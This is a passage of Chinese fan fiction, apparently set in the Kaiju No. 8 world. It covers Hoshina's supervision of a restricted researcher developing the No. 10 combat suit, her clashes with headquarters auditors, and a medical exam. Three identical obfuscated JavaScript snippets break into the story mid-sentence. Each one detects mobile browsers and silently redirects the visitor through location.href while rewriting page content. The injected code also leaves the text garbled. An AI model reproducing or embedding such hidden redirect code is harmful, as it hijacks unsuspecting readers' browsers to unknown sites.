“保科,我并非要你疏远或敌视她。我对她的看法也依然没变,她的能力毋庸置疑。但是,她真的很危险,我不想让你也成为没有内容的试验编号。” 她指了指一部分条目,它们被标明了武装性质。 “她应该有过前线战斗经历,信任她的能力,但绝不能对她失去监管和警惕——这是为了她,为了第三部队,也是为了你自己。” 保科缓缓关掉终端,深吸了一口气。办公室的门近在咫尺,门后是刚刚还与他共进晚餐、谈论着工作的人。然而此刻,这扇门变得有些沉重起来。 5. 立川基地二三事(3) 屏幕暗下去,仿佛将那些标红的“限制级试验”和“人员损耗率异常”也一同锁进了黑暗,保科觉得走廊的空气格外稀薄,压得他胸口发闷。 他推开门。 暮戈京矢还坐在原来的位置上,闻声抬眼看他。她脸上没什么表情,但保科几乎能感觉到她周身还未散去的低气压。 两人视线在空中交汇一瞬。 “谈完了?”她问,声音比刚才用餐时稍低一些,但语气依旧温和。 “走吧。” 保科率先移开目光,声音听起来和平时没什么两样,只是略微低沉了些。他侧身让开通道,是一个引导也是监视的姿势。 暮戈没动,绀青色的眼睛注视着他,敏锐地捕捉到了他那一瞬间的回避和语气里那丝不寻常的紧绷。 “看来,谈话内容不太愉快。” 她淡淡地说,不是疑问,而是陈述。 保科没有回答这个问题,只是重复道:“我送你回去。” 她站起身,动作不疾不徐,甚至对他露出了一个极淡的、堪称得体的微笑:“好的,副队长,耽误你的时间了。” 这个笑容像一层薄纱,恰到好处地掩盖了所有真实的情绪,却让保科的心更沉了一分。她清醒地知道问题出在哪里,也清醒地知道不该将矛头指向他。 回实验室的路变得格外漫长。两人并肩走在空旷的走廊里,脚步声在寂静中回响。 “那些程序,”保科试图打破沉默,声音干涩,“是总部的规定……” “我明白。”暮戈轻声打断他,目光平视前方,“必要的流程,为了安全和秩序。我理解。” 她说着完全正确、无可挑剔的话,但保科宁愿她讥讽或者发泄,这种滴水不漏的配合,比任何直接的抗拒都更显得疏远。 暮戈京矢这次误解了他的沉默,反过来跟他保证道:“我保证这不会影响到十号开发的进度,也不会让个人立场干扰实验,你可以放心。” “……嗯” 他一直将她送到实验室门口。 在她用权限卡刷开气密门时,保科履行了他的职责,声音低沉:“暮戈指导。按照规定,在验证程序完成前,你的项目访问权限将受到限制,非必要不得离开指定实验室。” 本来在整个研究所里,她还是能随便逛的。 暮戈的手停在门把上。她沉默了两秒,然后转过身,脸上还是那种温和的、几乎看不出破绽的表情。 “好的,我记下了。”她微微颔首,“还有其他的注意事项吗?” 她越是表现得如此通情达理,保科就越能感受到那平静海面下汹涌的暗流。他摇了摇头:“……没有了。” “辛苦了。”她看着他,礼仪周全,“那么,晚安,副队长。” 气密门在他面前缓缓合拢。在门缝即将完全关闭的最后一瞬,保科似乎看到,她一直挺得笔直的肩线,几不可察地松弛、垂下了一瞬。 那只是一个瞬间的、可能存在的错觉。 总部,某间办公室里。 伊丹司令将一份刚收到的文件轻轻放在红木办公桌上,推向对面坐姿一丝不苟的中年男人。 “三条额外验证流程。斋藤部长,你的动作比我想象的还要快。” 被称作斋藤部长的男人,有着一张仿佛从未被笑容眷顾过的脸,他扶了扶金丝眼镜,镜片后的目光锐利而冰冷。 “伊丹司令,引入‘暮戈京矢’这样的高风险变量,本身就需要承担相应的监管成本。”他眉间的褶皱更深了,“让她接触十号这样的战略级资产,已经是极大的冒险。在确认其绝对可靠之前,必要的束缚,是对整个防卫队负责。” 伊丹的目光投向窗外,似乎又看见当年那个才华横溢的少女。 “当年她带回来的数据,破解了我们三年未曾突破的瓶颈。” “但也可能带来我们无法预知的灾难。”斋藤毫不退让,“信任需要建立在制度和程序之上,而非个人的能力或你个人的判断,伊丹司令,曾经用个人判断去庇护她的人——” 他及时打住了话头,挥了挥手表示自己失言。 伊丹沉默了片刻,缓缓道:“希望你的‘底线’,不会扼杀我们好不容易才抓住的……可能性,她迄今为止为防卫队做出的贡献,难道你不清楚吗。” 斋藤站起身,整理了一下笔挺的制服:“我知道,没有切实的证据,以她的功绩,总归控制不了她多久,你一直向审议会施压,不就是想恢复她的身份吗?那又何必急于一时的流程。” 与往日的忙碌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685672|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喧嚣相比,此时的立川基地实验室显得过分安静,甚至带着一丝凝滞。 核心数据区的访问权限已被暂时锁定,巨大的屏幕上只剩下基础系统界面,那些曾如瀑布般流淌的十号能量流数据消失无踪。几名总部派来的技术官员坐在原本属于研究员的位子上,正按照厚厚的流程手册,逐项核对初步解析阶段的基础日志,规范、严谨,却也缓慢得令人窒息。 “……” 暮戈京矢控制住想把这群人轰出去的冲动,安抚好因接受审查骚动不安的原研究组人员,让他们该干嘛干嘛去,她自己出不了这间实验室,索性拖过几张折叠椅拼在一起,靠着墙角一躺,用冰袋盖住眼睛,眼不见为净,在嘈杂中,迅速放空了大脑。 第三部队的研究员没有一个人离开,他们沉默注视着总部的人的动作,自发地不去打扰她,一位年轻的女性放轻脚步走近,小心翼翼给她盖上一件外套。 短短相处的几天,他们已经对这位技术指导产生了尊敬。 几个小时后,保科副队长踏入研究所,准备引领总部的人去会议室,总部官员们低声交谈着咖啡口味,而在他们不远处,第三部队的研究员们正沉默地整理着被翻乱的文件,两个阵营在同一空间里泾渭分明,一时间没找到暮戈京矢的身影。 他犹豫了一下,还是询问了旁边的研究员。 “暮戈指导?她在那里。” 他循着指点在偏僻的流洗台后面找到了她。 她旁若无人地躺倒在拼接的椅子里,长腿有一半支在地上,维持着微妙的平衡,一只手臂压着脸上的冰袋,一手垂落,指尖微微蜷缩着,黑发散落,遮住巴掌大的脸,只露出寡淡的唇色,这么狭小不平的椅面,她完全没有屈就的意思,躺出了安然若素的气势,沉沉地睡着。 她的呼吸频率稳定在每分钟6次——这是经过严格训练的人才有的深度睡眠特征,而非普通人的疲惫小憩。 他想起昨天收拾餐具时,那断掉的不锈钢勺子;初次见面握手时,她手掌位置特殊的茧;还有她四肢上具备强束缚力和电击功能的拘束锁。 “……” 保科放轻动作离开了这个角落,迎向总部的官员,心里隐隐松了口气,有点庆幸不用在这种时候跟她说话。 6. 立川基地二三事(4) “小此木,能麻烦你帮我把这些细则发到各个区域吗?” 亚白米娜的桌子快被雪花一样的纸张埋了,她匆匆理出一份文件交给靠谱的联络员。 “根据文件头的名称分给不同部门就好了。” “好的队长。”小此木义不容辞地接下了分担队长工作的重任,小小的个子大大的责任,凭借对立川基地绝对的熟悉,她很快就派发完大部分细则,只剩下远在西南角的研究所。 时间很早,但她还是决定尽快送去,清晨的露水微微打湿她的裤脚。 研究所那个一直与她打交道的负责人不在,小此木循着人流走入最里面一间实验室,说起来,这好像是负责保科副队长战斗服开发的那个科室? 她刚从门旁探出个头,“刷!”,一本数据簿擦着她耳边飞过去,狠狠拍在走廊的墙壁上。 “啊!”她一声惊叫,吸引了罪魁祸首的目光。 “嗯?又来一个?”高挑的黑发女人走到她面前,“你是负责检查哪一部分的?” 这语气绝算不上友好,她精致的眉梢眼角还带着余怒,小此木一愣,只能仰头看她:“我是联络员小此木,负责人在吗?亚白队长分发的细则需要接收一下。” 咦?这绿色的眼睛,怎么有点眼熟? “啊?哦,”女人才反应过来,一把抓起自己的黑发拧成一股,用电子笔固定住:“抱歉,我以为你也是总部派来的人。” 小此木连连摆手:“不用不用,我本来也不怎么来这边,你看我面生也正常。” “把细则给我吧,”她试图柔和下语气,接过文件翻了翻,随手放到一边,“辛苦,” 小此木打量着她,那种熟悉感终于落在了实处:“啊!你,你是那个技术指导!” 不同于她还能认出来,暮戈京矢已经完全忘了一周前两人在走廊的匆匆一面,只当是一个知道自己的队员,嗯了一声就返回去,动作粗暴地推开一堆纸箱子:“你们几个,再动原始数据,就带着你们这些废纸一起滚!” 她又把一本纸簿直接扔到一个人胸口,那人穿着总部的制服,脸因为恼怒涨成了猪肝色:“注意你的态度!暮戈研究员!” 小此木被如此剧烈的冲突吓到了,不怪她一开始认不出暮戈京矢,与初见相比,现在的她把刘海完全撩了上去,露出了光洁的额头,她穿着宽大的衬衫,那双翠湖一般的眼睛不再冷静疏离,反而充斥着焦躁和愤怒。 “少把你们总部那一套带到这来,我对蠢材就这态度,”她冷冰冰地说,“接受监管不代表要忍受外行的指手画脚。” 总部官员气急,突然冷笑一声:“别忘了你的身份,还以为自己是第一部队首席呢,现在我一个报告上去,你的项目链就会直接断掉!” “你没有权力。”暮戈京矢差点控制不住自己的情绪。 “哦!我想我有!”那名官员露出胜利的笑容,“一个小小的风险预警,你的前科足以让总部重新评估这次项目。” 暮戈京矢顿住了,她盯着对方,手指攥紧又张开,过了几秒,她还是率先移开了视线,甚至勾出一个咬牙切齿的笑容。 “瞧您说的,我刚刚失礼了,不过我们的分歧还不至于影响大方向对吗?” 十号战斗服毕竟是很重要的战略任务,官员从鼻孔里哼了一声,顺坡下驴,对她的服软很受用:“不动你们的数据可以,不过,我要这个的权限。” 他指了指她手腕上的限制器:“你就像人物侧写里一样神经质,充满不可控性和攻击性,我要为所有研究员的人身安全负责。” 暮戈京矢不动声色深呼吸数次,抬脸笑着说:“当然,只要贵组别插手实验进程,这有什么不可以的呢。” “只是,您也知道我现在的监管权在第三部队手中,您大可以去找第三部队申请。” …… …… 纷争暂告一段落,实验室里弥漫着一种压抑的寂静,只剩下总部官员摆弄权限限制器时发出的细微电子音。暮戈京矢胸口那股灼热的怒气尚未完全平息,她烦躁地后退一步,想离那群人远些,脚跟却差点撞上什么。 她回头,对上了一双带着怯意却又充满好奇的大眼睛。 小此木还跟在她身后,双手紧张地交握在身前,像一只受惊但坚持留下的小动物。 暮戈京矢这才想起这个送文件的还没走。她揉了揉眉心,试图将眉宇间的戾气压下去:“你怎么还在这儿?” “我……我……”小此木张了张嘴,看着眼前这个与刚才判若两人、却又比初见时更具冲击力的研究员,一时不知该说什么。她下意识地将手里一直捏着的东西递了过去,“您的……笔。” 那是暮戈刚才用来固定头发的电子笔,在之前的冲突中滑落了。 暮戈京矢愣了一下,目光从笔移到小此木脸上。她眼中的情绪很复杂,有害怕,有同情,或许还有一丝不易察觉的、想要安慰她的意图。这种纯粹的善意,在研究所此刻这个充满算计和竞争的地方,显得格外突兀,也……格外的蠢。 但她没有拒绝,伸手接过了笔。指尖相触的瞬间,她能感觉到小此木的手指微微缩了一下。 “还不走,等着看下一场?”暮戈的声音放缓了些,但依旧没什么温度,她随手将笔插回衬衫口袋,“文件已经送到了。” “我、我这就走!”小此木像是被提醒了,连忙点头。她转身欲走,却又忍不住回头,飞快地说了一句:“那个……暮戈指导,请别太在意他们的话!保科副队长……还有我们第三部队的大家,都很相信你的能力!” 这句话说得又快又急,仿佛鼓足了勇气。 暮戈京矢心说你五分钟前都不知道我是谁,还敢这么说,表面却扯了扯嘴角,那算不上是一个笑容,更像是一种自嘲:“谢谢,你是哪个部门的?” 了解到她是第三部队联络员组长后,暮戈京矢的态度彻底缓和下来:“你跟亚白队长,保科副队长他们经常一起作战?” 小此木摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685673|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只是负责他们的战斗服检测和战术联络啦,一起作战什么的,是前线人员的事,但大家关系都不错,保科副队长人很温柔的,亚白队长也只是有些不善言辞。” 确定了眼前的小个子女性与正副队长关系不错,暮戈京矢顺着她的话夸了几句,便亲自把她送到门口 “回去告诉亚白队长,细则我看过了,没有问题。”反正大部分也是关于她的。 这算是公事公办的结束语。小此木如蒙大赦,又像是完成了某项重要任务,用力点了点头,这次终于迈开步子,小跑着离开了这个让她倍感压力的地方。 暮戈京矢站在原地,听着联络员“哒哒”的脚步声消失在走廊尽头。实验室里,总部的人还在,那些令人厌烦的视线依旧黏在她背上。她下意识地想抬手整理头发,却摸到了空荡荡的发髻。 她沉默了片刻,然后从口袋里抽出那支电子笔,手法熟练地再次将散落的短发挽起、固定。 保科听到小此木对暮戈京矢“很凶但人不坏”的评价后差点把嘴里的咖啡喷出去。 “咳咳!小此木啊,你认真的吗?”他咳嗽着问,“她……凶你了?” 小此木觉得副队长重点抓错了,难道重点不应该是“人不坏”吗。 保科没法回答单纯的联络员暮戈京矢到底“坏不坏”的问题,但是对她复述的那场争执很感兴趣:“哇,她真这么骂了?那确实很凶了。” 这跟暮戈京矢跟他几次接触留下的印象大相径庭,不用面对本人,保科毫无负担地想象了一下暮戈京矢尖酸刻薄的模样,发现难以想象。 毕竟那个人总是一副冷静克制的样子,连跟他开个玩笑也温和有度。 “但是那个总部的人也很过分,他还威胁关停您战斗服的开发!”小此木义愤填膺道,保科听到这可算是了解她为什么站不熟的暮戈京矢那边了,第三部队的联络员组长,真的很护短。 “没事啦,”保科安抚小此木:“这个项目不是那么容易就被关停的,防卫队需要更多‘预料之外的力量’,我也一样。” 小此木这才继续往下讲“……就是这样,她也觉得保科副队长是很好的人,还跟我说以后可以常去找她聊天,她能教我些战场上微调战斗服的方法。” 暮戈京矢本人可能也没想到,这头跟单纯的联络员拉完关系,转头就被她在第三部队唯二知情人之一面前漏了个干净。 “……小此木,你还是少去那边,”保科把“她很危险”咽了回去, “她的背景比较复杂,第三部队不方便跟她来往过密。” 敬爱的副队长说到这份上,小此木只能点点头:“好的。” 等联络员风风火火离开,保科却难以完全把刚刚的对话一笑了之。 她能为了实验项目低头,甚至能以拘束器的权限交换。 拘束器的权限,他还是不要分出去的好,总部那些人拿到手,天知道会用来干什么,嗯,等那官员来问,就以级别不够,不符规定来回绝掉吧。 7. 立川基地二三事(5) 深夜,总部的官员们早已回客房休息,将他们带来的令人窒息的官僚气息暂时带走。巨大的屏幕上,设备权限的系统复查程序仍在缓慢运行,进度条像一条濒死的蠕虫,艰难地向前蠕动了一小格。 暮戈京矢被这翻来覆去、毫无意义的审查磨得没了半点心气。当针对她个人的行动禁令随着午夜钟声准时解除的瞬间,她立刻在系统里提交了一份简短的外出报告,随即头也不回地离开了实验室。 她沿着寂静无人的楼梯,一路来到了研究所的顶层。这里空旷无人,只有巨大的天窗切割着深沉的夜幕。 她抬头看了看天窗,突然一跃,轻巧地翻了上去,她小心控制着肌肉发力,限制器只是微微闪烁了一下绿光,并未触发刺耳的警报。 从定位信号来看,她依然处于研究所的物理范围之内,不算违规。 夜风拂过她的脸颊,也带走了她眼底最后一丝尚未冷却的焦灼。 今夜没有星星。但她还是将视线投向那片深黑的天幕中,撂挑子不干的念头不受控制地一闪而过。 但这个软弱的想法刚一冒头,就被她毫不留情地亲手掐灭。她比任何人都清楚,将拥有完整主我意识的怪兽制成可控的战斗服,其战略意义有多么重大。这不仅仅是技术的突破,更是可能扭转人类与九号阵营之间力量天平的关键。无论如何,这个项目必须掌握在她手里,也只能掌握在她手里。 暮戈京矢阖上双眼,并非困倦,而是为了在一天的琐碎后,思考些有用的东西。 保留十号的主我意识,绝不是在战斗服上加装一个智能聊天程序那么简单。 那些自我意识稀薄的其他编号怪兽,其残留的狂暴意念都足以侵蚀适配者的心神,造成不可逆的精神损伤。十号虽然愿意配合,但怪兽与人类,终究是两个在生物学上截然不同的物种。这其中的难度,不亚于…… 她在脑中构建着一个模型:这就像试图将两颗密度不同、质地各异的“蛋”融合在一起。外壳,是两者的物理躯体;蛋清,是遍布全身、传递信号的神经系统;而最核心的蛋黄,则是承载着个体独特性格与记忆的精神力,是“自我”的所在。 那么,难题接踵而至: 如何让两个坚硬程度不一的外壳完美叠加,而不碰碎更脆弱的人类一方? 如何让性质迥异的蛋清相互交融、传递能量与信息,而不至于彻底混合,导致适配者失去自我,变成怪物? 最终,又该如何去小心地、部分地戳破那层隔膜,让两个核心的“蛋黄”不再相互排斥,甚至能产生共鸣? 无数问题围绕着她,暮戈京矢从其中取下一片,如同在夜幕里摘下一颗星星。 这其中的每一个问题,都涉及到生物学上生命形态的差异、机械学上外骨骼与生物体的接驳、以及医学上对神经与精神领域的深层干预。正因为需要如此跨领域的、精深的知识无缝衔接,才需要她这种罕见的、能将不同学科融会贯通的“全能型”人才。否则,让一个机械专家和一个生物学家坐在一起,只会是鸡同鸭讲,最终弄出个驴唇不对马嘴的残次品。 暮戈京矢睁开双眼,眸中已经一片清明。情况尚未生变,在出现决定性转机前,那些“特别观察员”的聒噪,她必须视而不见、听而不闻。忍耐是必要的,没人能动摇她的意志,总部不行,政府不行,自己无谓的骄傲更不行。 接下来的日子里,项目重心转向【能量逆向回路】的搭建。得益于过往成熟的案例积累,初期推进尚算平稳,第三部队的研究员们,见识到了暮戈京矢能伸能屈的一面。 她起草的每一份创新性提案,几乎都会在第一时间被总部观察员以“风险评估不足”或“流程不合规”为由驳回。然而驳回从不是终点。她会在收到通知的半小时内,提交一份修订版,不厌其烦地增补更为详尽、甚至显得啰嗦的风险预案和数据推演。一份申请,她能顶着压力反复提交十几次。 她甚至亲自去总部临时划分出来的办公室争取,面对冷嘲热讽面不改色,逻辑清晰地陈述利害,用滴水不漏的专业论述,一点点消磨对方的反对意志,直到那份盖着通过印章的文件被不情愿地推到她面前。 这位技术指导正展现出一种惊人的、近乎冷酷的耐心。她像一道缓慢而坚定的水流,以自己的方式,一点点渗透着监管的铁幕,将偏离轨道的研究进程,不动声色地,重新拉回她所设定的轨迹。 又过了一周,保科收到了能量逆向回路搭建完毕的报告,他这一周忙着把未来一段时间内,参与适配性试验耽搁的工作处理分配出去,时间一晃,进度又走完一块。 将最后一份电子文件归档,标志着与总部观察员的文书拉锯战暂告一段落。他揉了揉有些发胀的太阳穴,个人终端适时震动,屏幕上跳出一条简洁的申请通知: 【研究员暮戈京矢】申请离开研究所区域,前往【医疗中心】,事由:【陪同项目负责人进行适应性体检】。 备注规整的像从行政书里扒出来的:“实验进入下一阶段,需采集适配者基础生理数据,建立动态模型。申请陪同记录。” 申请措辞严谨,理由充分,完全符合流程。保科的目光在“陪同”二字上停留了一瞬,指尖划过屏幕,利落地点了【批准】。 他起身整理了一下制服,刚走出办公室,就看见小此木小跑着赶来。 “副队长!暮戈指导的申请您看到了吗?我已经协调好医疗中心了,现在陪您过去?”她推了推眼镜,脸上是尽职尽责的认真。 保科看着她,忍不住笑了笑:“小此木,我只是去体检,不是去前线。” “但、但是按照规定和亚白队长的吩咐,您现在的任何身体数据监测都至关重要!”小此木一脸严肃,随即又压低声音,“而且……我也想看看暮戈指导接下来要做什么。” 看来,这位联络员组长对那位神秘的技术指导,依旧充满了好奇。 当两人走到研究所门口时,暮戈京矢已经等在那里了。她依旧穿着那件略显宽大的白大褂,双手插在口袋里,正微微仰头,看着走廊顶部的照明灯,不知道在想什么。听到脚步声,她转过头,目光先落在保科身上,随即又扫过小此木,对她轻轻弯了弯眼:“又见面了,小此木酱。” 略显亲密的称呼,加上带点意味不明的语气,沉绿的双眼好似探出一双钩子,带出恰到好处的亲近。 小此木刚想热情打招呼,保科不动声色上前一步:“走吧。” 去往医疗中心的路上,气氛有些微妙。小此木试图找些话题,但介于暮戈的沉默和保科似乎也在思考什么,回应并不热烈。暮戈京矢则一直走在保科身侧稍后半步的位置,目光偶尔掠过走廊两侧的设施。 医疗中心的检查流程繁琐而细致。从基础的心肺功能、血液分析,到复杂的神经反射、脑波活动监测,保科配合地穿梭于各个仪器之间,在进行到一项需要注射显影剂以增强扫描效果的环节时,医疗官正准备拿起标准制剂,一直沉默的暮戈京矢忽然开口: “记录,保科副队长对标准制剂中的聚乙二醇400有轻微过敏史,建议换用海藻糖基替代配方。” 医疗官动作一顿,有些惊讶地看向保科。保科自己也愣了一下,这个连他本人都可能忘记的细微档案记录,竟被她从浩瀚如烟的资料中精准捕捉并牢记。 “……是的,麻烦您了。” 保科对医生确认道,目光复杂地看了暮戈一眼。她已重新将视线投向正在初始化的大型扫描设备,仿佛刚才只是陈述了一个最普通的技术参数。 就在等待这项结果出炉的间隙,医疗中心的自动门滑开,两个刚结束日常训练的队员互相搀扶着走进来,一个捂着肩膀,一个抱着膝盖,嘴里还吵吵嚷嚷地争论着刚才训练中的某个动作。 “都怪你冲得太快!” “明明是你支援慢了!” 抱着膝盖的队员闻言想捶同伴一下,却不想瞬间失去了重心,眼看就要摔倒,却被一双手像提小鸡仔似的一把捞了起来,他站稳刚要道谢,却发现这双手比自己要纤瘦太多,筋骨分明的手腕往上,是白色的袖口。 他们一抬头,正好看见保科副队长和一位陌生的女性站在一起,立刻像被按了静音键一样僵住,迅速挺直身体敬礼:“副队长好!” 保科被他们逗笑了,摆了摆手:“受伤了就别乱动,好好听医生的话。” “是!”两人异口同声,然后偷瞄了一眼暮戈京矢,后者已经收回了手;他俩脸上写满了好奇,但又不敢多问,只能一瘸一拐地迅速溜走。 这个小插曲让原本严肃的气氛活跃了一瞬。小此木忍不住捂嘴偷笑,连保科也无奈地摇了摇头。暮戈京矢想笑却只是勉强提了提嘴角,她悄悄拍了拍自己的脸,心说难道最近被总部那些人弄得面部肌肉失调了? 当进行到一项需要保科进入密闭扫描仓进行全身断层扫描时,小此木有些紧张地攥紧了手。暮戈京矢却在这个时候上前一步,对操作员低声说了几句什么,对方愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685674|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,随即点了点头,在控制台上调整了几个参数。 “怎么了?”保科躺在扫描床上,注意到这个小插曲。 “标准参数的灵敏度对于建立你的基线模型不够精确。”暮戈京矢走到扫描仓的观察窗前,声音透过通讯器传来,平静无波,“我稍微调高了一点,可能会有些许不适,忍耐一下。” 她的语气理所当然,仿佛这本就是她的权力范围。 保科无奈地笑了笑:“……好吧,听你的。” 扫描开始,一股比以往更强的磁场穿透身体,带来细微的嗡鸣和皮肤下的刺麻感。保科闭上眼,集中精神对抗这种不适。巨大的全息屏幕亮起,保科身体的各项数据开始以惊人的速度刷新、构建。 “基础代谢率、神经传导速度、肌肉纤维密度分布图……”医疗官在一旁报着项目名称。 暮戈京矢就站在主控台前,绀青色的瞳孔倒映着流动的数据瀑布,直到——保科宗四郎的三维人体模型在屏幕中央被精确构建出来。 那不是简单的轮廓,而是由数以亿计的数据点构成的、近乎透明的能量化拟真模型。肌肉的纹理,骨骼的结构,血液的流动,乃至更深层的生物能量场……他身体最核心的秘密,以一种惊心动魄的、单向透明的方式,在她面前展露无遗。 保科用毛巾擦了擦汗,走到她身边,看着屏幕上那个纤毫毕现的“自己”,耳根有些不易察觉的发烫,但语气却带着一种故作轻松的调侃: “这下可真是毫无保留了,技术指导。连我十七岁时训练留下的旧伤疤痕,都逃不过你的眼睛了吧?” 她的视线终于从屏幕上移开,落在他本人身上。目光从他带着汗水的脖颈,滑到因刚刚结束测试而微微起伏的胸膛,最后回到他脸上那强装镇定、却掩不住一丝紧张的脸上。 这一眼,像是在将屏幕上那个冰冷的模型,与眼前这个温热的、会呼吸的、会开玩笑的生命体,进行一次校准。 “数据只是工具,副队长。” 她收回目光,拖长语调,“它的意义在于帮助我们打造出最适合你的装甲,而不是评判伤疤的来历。” 她把手边一杯水递给保科。 “谢谢,”保科接过抿了一口,是刚好的温热。 走出医疗中心,傍晚微凉的风拂面而来,将室内残留的消毒水气味和紧张感一并带走。保科深深吸了一口气,仿佛要将积压在胸口的滞涩感全部呼出。 “啊——总算活过来了。”他小声嘟囔了一句,声音里带着完成重大任务后的虚脱和轻松。他看向身旁抱着记录板、同样一脸如释重负的小此木,笑着揉了揉后颈:“小此木,这次也辛苦你了,记录得很周全。” “这是我应该做的,副队长!”小此木立刻挺直腰板,随即又小声补充,“那个……检测的时候,暮戈指导说,您的神经适应性比预想的更好。” 保科有点不好意思地笑了笑,目光不经意地扫过一旁沉默的暮戈京矢。她正微微仰头看着立川基地傍晚的天空,夕阳的余晖给她过于苍白的侧脸染上了一点微弱的暖色,那双向来凝望着数据或远方的绀青色眼瞳里,此刻似乎什么都没有想。 察觉到他的视线,她目光回落:“基础的生理数据已经采集完毕,等我们完成外骨骼适配后,对你来说才是真正的考验。” “是是是,我知道。”保科的语气里带着一丝不易察觉的、连自己都没意识到的熟稔,“在那之前,至少让我喘口气吧,技术指导。” 走到一个分岔路口,告别小此木后,保科下意识转向研究所的方向,暮戈京矢忽然开口:“我回宿舍。” 保科脚步一顿,有些讶异地看向她——这幅在研究所里呆到天荒地老的架势,居然还记得有个宿舍? 暮戈京矢似乎看穿了他的想法,有点不自然地补充:“接下来的技术方案我已经下发,研究组按规程操作即可。”她顿了顿,才接着说,声音里不可抑制流露出一点情绪,“不算太难。” 不算太难。 保科的目光掠过她略显苍白的脸,最终落在道路尽头——那里隐约传来总部官员的谈笑声。 他想起自己最初接手监管职责时,曾认真地跟她提议要建立作息时间表,那时更多是出于职责和一丝应付麻烦的心态。此刻,这个被遗忘的提议,却由她在此刻主动提起。 “嗯,”保科从善如流地点头,脸上是他惯有的、令人放松的微笑,“好,我送你回去。关于时间表的事,我们正好可以边走边聊。” 8. 立川基地二三事(6) 立川基地最近几天流传着一个趣闻,由于事涉队内人气超高的保科副队长,传言像长了翅膀一样飞遍了整个第三部队。 起初是两个队员训练受伤去医疗室时,看到保科副队长跟一名陌生女性站在一起,那位女性气质卓然,有一双深绿色的眼睛,是立川基地从来没出现过的新面孔,两人回到队友之间后兴奋地讲述了一遍,大部分人将信将疑,表示从来没听说过有什么新来的高岭之花,研究所那边不是一群营养不良的书呆子吗? 后来这位神秘小姐开始频繁出现在第三部队队员们的视野之中,且几乎都与保科副队长绑定出现,好像游戏里固定刷新的特殊npc。 队员A晨间巡逻时,在走廊遇见捧着终端的保科副队长,那位黑发绿眼的女性紧随身侧。副队长正把终端侧过来展示数据,她下意识抬手想要操作,指尖却在触碰到屏幕前戛然而止,自然地收回手插进白大褂口袋。队员A向保科问好,得到了一个一如既往温和的笑容。 户外训练场中,保科副队长在高台上刚发布完惨无人道的训练任务,露出两个小虎牙面对队员们的哀嚎,下一秒一道纤瘦的身影便从阴影里转出来,居高临下盯了他们一会,转头跟保科副队长说了句什么,笑点低得人尽皆知的副队长当场笑弯了腰。 底下苦哈哈跑圈的队员:“......”那女人到底说了什么?不爽! 食堂成为目击率最高的场所。有坐得近的队员听到这样的对话。保科副队长皱着脸拖长了语调:“......你自己天天吃年糕片,凭什么管我什么时候吃饭啊。” 坐对面的女性已经迅速解决了自己的餐食,把餐具整齐摆在一边,闻言挑了挑眉:“那是营养简餐,而且你能有点作为适配者的自觉吗?医疗官说你长期不规律饮食和作息紊乱,近期必须调整。” 保科副队长低头去戳盘子里的西兰花:“......” 被三天睡五个小时的实验室主理人说作息紊乱,简直岂有此理。 那双深湖般的绿眸眯了起来:“我不介意跟小次木建议你每天都吃年糕片来保证营养摄入平衡,那东西很方便,也不会耽误你热爱的工作。” 保科戳着西兰花的动作顿住了。他抬起头,脸上闪过一丝措手不及的无奈,声音里带着点认命般的抗议:“……这就不必了吧,暮戈指导。” 他试图让自己的表情看起来更诚恳一些:“我会注意调整作息的。” 由于当事人之二的暮戈京矢过于神出鬼没且气场生人勿近,有好奇又胆大的队员只能去问保科副队长,结果私下里一向很亲和的副队长这次罕见地没有正面回应,只是说她是负责战斗服开发的技术人员。 顺便一提,自己在第三部队有个应援团的事,大概是号称对第三部队无所不知的副队长唯一不了解的盲区。 立川基地的淋浴间里,水汽氤氲。 几个刚结束训练的女队员正在冲洗,话题不知不觉就绕到了那个新来的、总是和保科副队长形影不离的女人身上。 “话说,你们谁看清楚那位到底长什么样了?”短发的梶田七濑用毛巾擦着头发,忍不住发问,“每次感觉看清楚了,一转头又忘了她具体啥样,就记得……挺白的,怪好看的,但也不敢盯着看。” “人家叫暮戈,这姓氏确实挺难念的,也不知道名字是什么,” 一旁的通信员由美关上水龙头,若有所思:“我上次在医疗室走廊和她擦肩而过。她真的……很特别。” “怎么说?” “皮肤白得有点透明,像从来没晒过太阳。”由美努力回忆着,声音不自觉压低,“头发黑,眼睛是那种很深的绿色,看着你的时候,感觉不到温度,不像保科副队长那样带着笑,也不像亚白队长那样有压力……她身上总带着一股味儿。不是汗味,也不是香水味,是研究所里消毒水、臭氧,还有某种……冷冰冰的金属混合在一起的气味,闻久了让人有点发怵。” 